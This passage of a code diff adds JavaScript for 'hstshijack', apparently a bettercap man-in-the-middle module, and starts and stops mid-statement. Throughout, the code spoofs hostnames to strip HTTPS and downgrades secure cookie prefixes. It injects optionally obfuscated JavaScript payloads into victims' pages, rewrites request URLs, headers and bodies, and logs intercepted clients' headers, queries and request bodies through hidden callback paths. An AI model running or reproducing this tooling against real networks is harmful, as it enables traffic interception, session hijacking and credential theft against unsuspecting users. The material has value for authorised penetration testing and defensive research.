(rx_regset_wildcard_two.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + selector_string = "http://" + selector_string; + replacement_string = replacement_string.replace(rx_regset_wildcard_two, ""); + return [ + new RegExp(selector_string, "ig"), + "https://" + replacement_string + "$1" + ]; + } else { + log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardHttpOriginRegexp() value (got " + selector_string + ")."); + } +} + +function toWholeWildcardRegexp(selector_string, replacement_string) { + selector_string = selector_string.replace(rx_all_dashes, "\\-"); + if (rx_regset_wildcard_one.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + replacement_string = replacement_string.replace(rx_regset_wildcard_one, ""); + return [ + new RegExp("^" + selector_string + "$", "ig"), + "$1" + replacement_string + ]; + } else if (rx_regset_wildcard_two.test(selector_string)) { + selector_string = selector_string.replace(rx_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); + selector_string = selector_string.replace(rx_all_dots, "\\."); + replacement_string = replacement_string.replace(rx_regset_wildcard_two, ""); + return [ + new RegExp(selector_string, "ig"), + replacement_string + "$1" + ]; + } else { + log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ")."); + } +} + +/* Matches /(^|[^a-z0-9-.])example\.com([^a-z0-9-.]|$)/ig */ +function toRegexpSet(selector_string, replacement_string) { + if (selector_string.indexOf("*") !== -1) { + return toWildcardRegexp(selector_string, replacement_string); + } else { + return toRegexp(selector_string, replacement_string); + } +} + +/* Matches /http:\/\/example\.com([^a-z0-9-.]|$)/ig */ +function toHttpOriginRegexpSet(selector_string, replacement_string) { + if (selector_string.indexOf("*") !== -1) { + return toWildcardHttpOriginRegexp(selector_string, replacement_string); + } else { + return toHttpOriginRegexp(selector_string, replacement_string); + } +} + +/* Matches ^example.com$ */ +function toWholeRegexpSet(selector_string, replacement_string) { + if (selector_string.indexOf("*") !== -1) { + return toWholeWildcardRegexp(selector_string, replacement_string); + } else { + return toWholeRegexp(selector_string, replacement_string); + } +} + +/* Saves the list of domains using SSL, as well as its index ranges. */ +function saveSSLIndex() { + domains = []; + for (a = 0; a !== ssl.prefixes.length; a++) { + prefix = ssl.prefixes[a]; + domains = domains.concat(ssl.index[prefix]); + } + ssl.domains = domains; + writeFile(env["hstshijack.ssl.domains"], domains.join("\n")); + writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index)); +} + +/* Saves the whitelist. */ +function saveWhitelist() { + writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist)); +} + +/* Returns the amount of characters of an identical prefix of two given strings. */ +function getMatchingPrefixLength(string1, string2) { + count = 0; + if (string1.length > string2.length) { + for (a = 0; a !== string2.length; a++) { + if (string1.charAt(a) !== string2.charAt(a)) { + break; + } + count++; + } + } else { + for (a = 0; a !== string1.length; a++) { + if (string1.charAt(a) !== string2.charAt(a)) { + break; + } + count++; + } + } + return count; +} + +/* Returns true if domain1 gets alphanumeric precendence over domain2. */ +function getsPrecedence(domain1, domain2) { + if (domain1.length > domain2.length) { + /* If the first given domain is longer than the second. */ + for (a = 0; a !== domain2.length; a++) { + rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); + rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); + if (rank1 > rank2) { + return false; + } else if (rank1 < rank2) { + return true; + } + } + return false; + } else { + /* If the second given domain is longer than the first. */ + for (a = 0; a !== domain1.length; a++) { + rank1 = ssl.hierarchy.indexOf(domain1.charAt(a)); + rank2 = ssl.hierarchy.indexOf(domain2.charAt(a)); + if (rank1 > rank2) { + return false; + } else if (rank1 < rank2) { + return true; + } + } + return true; + } +} + +/* Returns the index of a given domain. */ +function getDomainIndex(domain) { + domain = domain.toLowerCase(); + for (a = 0; a !== ssl.prefixes.length; a++) { + prefix = ssl.prefixes[a]; + if (domain.startsWith(prefix)) { + return ssl.index[prefix].indexOf(domain); + } + } +} + +/* Index a new domain. */ +function indexDomain(domain) { + domain = domain.toLowerCase(); + domain_prefix = ""; + for (a = 0; a !== ssl.prefixes.length; a++) { + prefix = ssl.prefixes[a]; + if (domain.startsWith(prefix)) { + domain_prefix = prefix; + break; + } + } + indexed_domains = ssl.index[domain_prefix]; + if (indexed_domains.indexOf(domain) === -1) { + /* This domain is not indexed yet. */ + log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ..."); + if (indexed_domains.length !== 0) { + for (a = 0; a < indexed_domains.length; a++) { + indexed_domain = indexed_domains[a]; + if (getsPrecedence(domain, indexed_domain)) { + ssl.index[domain_prefix] = indexed_domains.slice(0, a) + .concat(domain) + .concat(indexed_domains.slice(a, indexed_domains.length)); + saveSSLIndex(); + return; + } + } + ssl.index[domain_prefix].push(domain); + } else { + ssl.index[domain_prefix] = [domain]; + } + saveSSLIndex(); + } else { + /* This domain is already indexed. */ + log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset); + } +} + +function configure() { + /* Read caplet. */ + env["hstshijack.ignore"] + ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "$1").split(",") + : ignore_hosts = []; + env["hstshijack.targets"] + ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "$1").split(",") + : target_hosts = []; + env["hstshijack.replacements"] + ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "$1").split(",") + : replacement_hosts = []; + env["hstshijack.blockscripts"] + ? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",") + : block_script_hosts = []; + env["hstshijack.obfuscate"] + ? obfuscate = env["hstshijack.obfuscate"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false + : obfuscate = false; + env["hstshijack.cookies.downgrade"] + ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false + : downgrade_cookies = false; + + /* Validate caplet. */ + if (target_hosts.length < replacement_hosts.length) { + log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ")."); + } + if (target_hosts.length > replacement_hosts.length) { + log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ")."); + } + if (target_hosts.indexOf("*") !== -1) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *)."); + } + if (replacement_hosts.indexOf("*") !== -1) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *)."); + } + + var rx_whole_prefix_wildcard_domain = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i; + var rx_whole_suffix_wildcard_domain = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i; + for (a = 0; a < ignore_hosts.length; a++) { + if ( + !/^\*$/i.test(ignore_hosts[a]) + && !rx_whole_prefix_wildcard_domain.test(ignore_hosts[a]) + && !rx_whole_suffix_wildcard_domain.test(ignore_hosts[a]) + ) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ")."); + } + } + + for (a = 0; a < target_hosts.length; a++) { + if ( + !rx_whole_prefix_wildcard_domain.test(target_hosts[a]) + && !rx_whole_suffix_wildcard_domain.test(target_hosts[a]) + ) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ")."); + } + + if ( + !rx_whole_prefix_wildcard_domain.test(replacement_hosts[a]) + && !rx_whole_suffix_wildcard_domain.test(replacement_hosts[a]) + ) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ")."); + } + + if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) { + target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0; + replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0; + if (target_host_wildcard_count !== replacement_host_wildcard_count) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ")."); + } + } + } + + for (a = 0; a < target_hosts.length; a++) { + /* Precompile regex sets for hostname spoofing. */ + rx_sets_global_target_hosts.push(toRegexpSet(target_hosts[a], replacement_hosts[a])); + rx_sets_global_replacement_hosts.push(toRegexpSet(replacement_hosts[a], target_hosts[a])); + /* Precompile whole regex sets for hostname spoofing. */ + rx_sets_whole_target_hosts.push(toWholeRegexpSet(target_hosts[a], replacement_hosts[a])); + rx_sets_whole_replacement_hosts.push(toWholeRegexpSet(replacement_hosts[a], target_hosts[a])); + /* Precompile regex sets for restoring HTTPS. */ + rx_sets_global_target_http_origins.push(toHttpOriginRegexpSet(target_hosts[a], target_hosts[a])); + } + + for (a = 0; a < block_script_hosts.length; a++) { + if ( + !/^\*$/i.test(block_script_hosts[a]) + && !rx_whole_prefix_wildcard_domain.test(block_script_hosts[a]) + && !rx_whole_suffix_wildcard_domain.test(block_script_hosts[a]) + ) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ")."); + } + } + + /* Prepare response body regex replacements. */ + env["hstshijack.replacements.res.body"] + ? replacements_res_body_path = env["hstshijack.replacements.res.body"].replace(/^\s*(.*?)\s*$/g, "$1") + : replacements_res_body_path = ""; + try { + replacements_res_body = JSON.parse(readFile(replacements_res_body_path)); + } catch (err) { + log_fatal(err); + } + if (!replacements_res_body.html || typeof replacements_res_body.html !== "object") + replacements_res_body.html = {}; + if (!replacements_res_body.javascript || typeof replacements_res_body.javascript !== "object") + replacements_res_body.javascript = {}; + if (!replacements_res_body.json || typeof replacements_res_body.json !== "object") + replacements_res_body.json = {}; + var host_selector_strings_html = Object.keys(replacements_res_body.html); + var host_selector_strings_javascript = Object.keys(replacements_res_body.javascript); + var host_selector_strings_json = Object.keys(replacements_res_body.json); + for (a = 0; a < host_selector_strings_html.length; a++) { + var selector_string = host_selector_strings_html[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_res_body_html.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_res_body_html.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_res_body.html[selector_string].length; b++) { + var rx_set = replacements_res_body.html[selector_string][b]; + replacements_res_body.html[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + for (a = 0; a < host_selector_strings_javascript.length; a++) { + var selector_string = host_selector_strings_javascript[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_res_body_javascript.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_res_body_javascript.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_res_body.javascript[selector_string].length; b++) { + var rx_set = replacements_res_body.javascript[selector_string][b]; + replacements_res_body.javascript[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + for (a = 0; a < host_selector_strings_json.length; a++) { + var selector_string = host_selector_strings_json[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_res_body_json.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_res_body_json.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_res_body.json[selector_string].length; b++) { + var rx_set = replacements_res_body.json[selector_string][b]; + replacements_res_body.json[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + + /* Prepare request headers regex replacements. */ + env["hstshijack.replacements.req.headers"] + ? replacements_req_headers_filepath = env["hstshijack.replacements.req.headers"].replace(/^\s*(.*?)\s*$/g, "$1") + : replacements_req_headers_filepath = ""; + try { + replacements_req_headers = JSON.parse(readFile(replacements_req_headers_filepath)); + } catch (err) { + log_fatal(err); + } + var host_selector_strings_req_headers = Object.keys(replacements_req_headers); + for (a = 0; a < host_selector_strings_req_headers.length; a++) { + var selector_string = host_selector_strings_req_headers[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_req_headers.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_req_headers.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_req_headers[selector_string].length; b++) { + var rx_set = replacements_req_headers[selector_string][b]; + replacements_req_headers[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + + /* Prepare request body regex replacements. */ + env["hstshijack.replacements.req.body"] + ? replacements_req_body_filepath = env["hstshijack.replacements.req.body"].replace(/^\s*(.*?)\s*$/g, "$1") + : replacements_req_body_filepath = ""; + try { + replacements_req_body = JSON.parse(readFile(replacements_req_body_filepath)); + } catch (err) { + log_fatal(err); + } + var host_selector_strings_req_body = Object.keys(replacements_req_body); + for (a = 0; a < host_selector_strings_req_body.length; a++) { + var selector_string = host_selector_strings_req_body[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_req_body.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_req_body.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_req_body[selector_string].length; b++) { + var rx_set = replacements_req_body[selector_string][b]; + replacements_req_body[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + + /* Prepare request url regex replacements. */ + env["hstshijack.replacements.req.url"] + ? replacements_req_url_filepath = env["hstshijack.replacements.req.url"].replace(/^\s*(.*?)\s*$/g, "$1") + : replacements_req_url_filepath = ""; + try { + replacements_req_url_path = JSON.parse(readFile(replacements_req_url_filepath)).path; + replacements_req_url_port = JSON.parse(readFile(replacements_req_url_filepath)).port; + replacements_req_url_query = JSON.parse(readFile(replacements_req_url_filepath)).query; + } catch (err) { + log_fatal(err); + } + var host_selector_strings_req_url_path = Object.keys(replacements_req_url_path); + var host_selector_strings_req_url_port = Object.keys(replacements_req_url_port); + var host_selector_strings_req_url_query = Object.keys(replacements_req_url_query); + for (a = 0; a < host_selector_strings_req_url_path.length; a++) { + var selector_string = host_selector_strings_req_url_path[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_req_url_path.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_req_url_path.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_req_url_path[selector_string].length; b++) { + var rx_set = replacements_req_url_path[selector_string][b]; + replacements_req_url_path[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + for (a = 0; a < host_selector_strings_req_url_port.length; a++) { + var selector_string = host_selector_strings_req_url_port[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_req_url_port.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_req_url_port.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_req_url_port[selector_string].length; b++) { + var rx_set = replacements_req_url_port[selector_string][b]; + replacements_req_url_port[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + for (a = 0; a < host_selector_strings_req_url_query.length; a++) { + var selector_string = host_selector_strings_req_url_query[a]; + if (selector_string === "*") { + rx_target_hosts_replacements_req_url_query.push(new RegExp(".*")); + } else { + rx_target_hosts_replacements_req_url_query.push( + toWholeRegexpSet(selector_string, "")[0]); + } + for (b = 0; b < replacements_req_url_query[selector_string].length; b++) { + var rx_set = replacements_req_url_query[selector_string][b]; + replacements_req_url_query[selector_string][b] = [ + new RegExp(rx_set[0], rx_set[1]), + rx_set[2], + ]; + } + } + + /* Prepare payloads. */ + env["hstshijack.payloads"] + ? payload_entries = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",") + : payload_entries = []; + for (a = 0; a < payload_entries.length; a++) { + if ( + !/^\*:.+$/i.test(payload_entries[a]) + && !/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i.test(payload_entries[a]) + && !rx_whole_suffix_wildcard_domain.test(payload_entries[a]) + ) { + log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ")."); + } + payload_host = payload_entries[a].replace(/[:].*/, ""); + payload_path = payload_entries[a].replace(/.*[:]/, ""); + payload = ""; + if (!(payload = readFile(payload_path))) { + log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ")."); + } else { + payload = payload + .replace(/obf_hstshijack_target_hosts/g, varname_target_hosts) + .replace(/obf_hstshijack_replacement_hosts/g, varname_replacement_hosts) + .replace(/obf_hstshijack_path_callback/g, callback_path) + .replace(/obf_hstshijack_path_ssl_index/g, ssl_index_path) + .replace(/obf_hstshijack_path_whitelist/g, whitelist_path) + .replace(/obf_hstshijack_cookie_host_prefix/g, cookie_host_prefix) + .replace(/obf_hstshijack_cookie_secure_prefix/g, cookie_secure_prefix); + if (obfuscate) { + var obfuscation_variables = payload.match(/obf_hstshijack_[a-z0-9_]*/ig) || []; + obfuscation_variables = obfuscation_variables.sort().reverse(); + for (b = 0; b < obfuscation_variables.length; b++) { + if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) { + regexp = new RegExp(obfuscation_variables[b], "g"); + payload = payload.replace(regexp, randomString(8 + (Math.random() * 8))); + } + } + } + if (payloads[payload_host]) { + payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n"; + } else { + payloads[payload_host] = payload + "\n"; + } + } + } + + /* Prepare payload container */ + payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); + payload_container_prefix = payload_container_prefix + + "const " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" + + "const " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n"; + payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id); + + /* Prepare whitelist */ + whitelist_file_path = env["hstshijack.whitelist"]; + try { + whitelist = JSON.parse(readFile(whitelist_file_path)); + } catch (err) { + log_fatal(on_blue + "hstshijack" + reset + " Could not read whitelist file (got " + whitelist_file_path + "). Please enter a valid hstshijack.whitelist value in your caplet."); + } + + /* Prepare SSL index */ + ssl_index_check = env["hstshijack.ssl.index.check"].toLowerCase() || "true"; + all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n"); + for (a = 0; a !== ssl.prefixes.length; a++) { + ssl.index[ssl.prefixes[a]] = []; + } + if (all_domains.length === 0) { + log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset."); + } else { + if (ssl_index_check !== "false") { + log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ..."); + all_domains.filter(function(domain) { + if (domain !== "") indexDomain(domain); + }); + } else { + ssl.domains = all_domains; + index_file_contents = readFile(env["hstshijack.ssl.index"]); + if (ssl.domains.length !== 0 && index_file_contents === "") { + log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet."); + } + try { + ssl.index = JSON.parse(index_file_contents); + } catch (err) { + log_fatal(on_blue + "hstshijack" + reset + "(" + err + ") List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet."); + } + indexed_domains_length = 0; + for (a = 0; a !== ssl.prefixes.length; a++) { + indexed_domains_length += ssl.index[ssl.prefixes[a]].length; + } + if (indexed_domains_length !== all_domains.length) { + log_fatal(on_blue + "hstshijack" + reset + " List of SSL domains is not indexed. Please set your hstshijack.ssl.index.check value to true in your caplet."); + } + log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s)."); + } + } + + /* Ensure targeted hosts are in SSL log (no wildcards). */ + for (var a = 0; a < target_hosts.length; a++) { + if (target_hosts[a].indexOf("*") === -1) { + indexDomain(target_hosts[a]); + } + } + + saveSSLIndex(); + log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains."); +} + +function showConfig() { + /* Print module configuration. */ + logStr = "\n"; + logStr += " " + bold + "Caplet" + reset + "\n"; + logStr += "\n"; + logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + "hstshijack.ssl.index.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.index.check"]) ? green + "true" : red + "false") + reset + "\n"; + logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + " hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + " hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n"; + logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n"; + logStr += " " + yellow + " hstshijack.payloads" + reset + " > "; + if (env["hstshijack.payloads"]) { + list = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(","); + logStr += green + list[0] + reset + "\n"; + if (list.length > 1) { + for (a = 1; a < list.length; a++) { + logStr += " > " + green + list[a] + reset + "\n"; + } + } + } else { + logStr += red + "undefined" + reset + "\n"; + } + logStr += "\n"; + logStr += " " + bold + "Commands" + reset + "\n"; + logStr += "\n"; + logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n"; + logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n"; + logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n"; + logStr += "\n"; + logStr += " " + bold + "Session info" + reset + "\n"; + logStr += "\n"; + logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n"; + logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n"; + logStr += " " + bold + " Whitelist path" + reset + " : " + whitelist_path + "\n"; + logStr += " " + bold + " SSL index path" + reset + " : " + ssl_index_path + "\n"; + logStr += " " + bold + " __Host- prefix" + reset + " : " + cookie_host_prefix + "\n"; + logStr += " " + bold + "__Secure- prefix" + reset + " : " + cookie_secure_prefix + "\n"; + logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n"; + console.log(logStr); +} + +function onCommand(cmd) { + if (cmd === "hstshijack.show") { + showConfig(); + return true; + } + if (cmd === "hstshijack.ssl.domains") { + if (ssl.domains.length > 20) { + truncated_domains = ssl.domains.slice(0, 20); + truncated_domains.push("..."); + log_string = truncated_domains.join(reset + "\n " + yellow); + console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n"); + } else { + console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n"); + } + return true; + } + if (cmd === "hstshijack.ssl.index") { + log_string = "\n" + bold + " SSL domain index" + reset + "\n"; + for (a = 0; a !== ssl.prefixes.length; a++) { + domain_prefix = ssl.prefixes[a]; + log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")"; + } + console.log(log_string + "\n"); + return true; + } + if (cmd === "hstshijack.whitelist") { + console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n"); + return true; + } +} + +function onLoad() { + math_seed = new Date().getMilliseconds(); + Math.random = function() { + r = Math.sin(math_seed++) * 10000; + return r - Math.floor(r); + } + String.prototype.startsWith = function(prefix) { + return this.slice(0, prefix.length) === prefix; + } + + log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ..."); + session_id = randomString(8 + Math.random() * 8); + varname_target_hosts = randomString(8 + Math.random() * 8); + varname_replacement_hosts = randomString(8 + Math.random() * 8); + cookie_host_prefix = randomString(8 + Math.random() * 8); + cookie_secure_prefix = randomString(8 + Math.random() * 8); + callback_path = "/" + randomString(8 + Math.random() * 8); + whitelist_path = "/" + randomString(8 + Math.random() * 8); + ssl_index_path = "/" + randomString(8 + Math.random() * 8); + + rx_global_cookie_host_prefix = new RegExp(cookie_host_prefix, "g"); + rx_global_cookie_secure_prefix = new RegExp(cookie_secure_prefix, "g"); + + log_info(on_blue + "hstshijack" + reset + " Reading caplet ..."); + configure(); + log_info(on_blue + "hstshijack" + reset + " Module loaded."); + showConfig(); +} + +function onRequest(req, res) { + if (req.Path === ssl_index_path) { + /** + * SSL callback. + * + * Requests made for this path should include a hostname in the query so + * this module can send a HEAD request to learn HTTPS redirects. + */ + log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + "."); + queried_host = req.Query; + if (getDomainIndex(queried_host) === -1) { + log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ..."); + req.Hostname = queried_host; + req.Path = "/"; + req.Query = ""; + req.Body = ""; + req.Method = "HEAD"; + } + } else if (req.Path === callback_path) { + /** + * Basic callback. + * + * Requests made for this path will be dropped. + * Requests made for this path will be printed. + */ + res.ClearBody(); + logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n"; + logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n"; + logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n"; + headers = req.Headers.split("\r\n"); + for (i = 0; i < headers.length; i++) { + if (headers[i].split(": ").length === 2) { + params = headers[i].split(": "); + logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; + } else { + logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n"; + } + } + logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n"; + queries = req.Query.split("&"); + for (i = 0; i < queries.length; i++) { + if (queries[i].split("=").length === 2) { + params = queries[i].split("="); + logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; + } else { + logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n"; + } + } + logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; + log_info(logStr); + } else if (req.Path === whitelist_path) { + /** + * Whitelisting callback. + * + * Requests made for this path will be dropped. + * Requests made for this path will be printed. + * Requests made for this path will stop all attacks towards this client with the requested hostname. + */ + res.ClearBody(); + logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n"; + logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n"; + logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n"; + headers = req.Headers.split("\n"); + for (i = 0; i < headers.length; i++) { + if (headers[i].split(": ").length === 2) { + params = headers[i].split(": "); + logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"; + } else { + logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n"; + } + } + logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n"; + queries = req.Query.split("&"); + for (i = 0; i < queries.length; i++) { + if (queries[i].split("=").length === 2) { + params = queries[i].split("="); + logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"; + } else { + logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n"; + } + } + logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n"; + log_info(logStr); + /* Add requested hostname to whitelist. */ + if (whitelist[req.Client.MAC]) { + if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) { + whitelist[req.Client.MAC].push(req.Hostname); + } + } else { + whitelist[req.Client.MAC] = [req.Hostname]; + } + /* Also whitelist unspoofed version of requested hostname. */ + for (a = 0; a < target_hosts.length; a++) { + rx_sets_whole_replacement_hosts[a][0].lastIndex = 0; + if 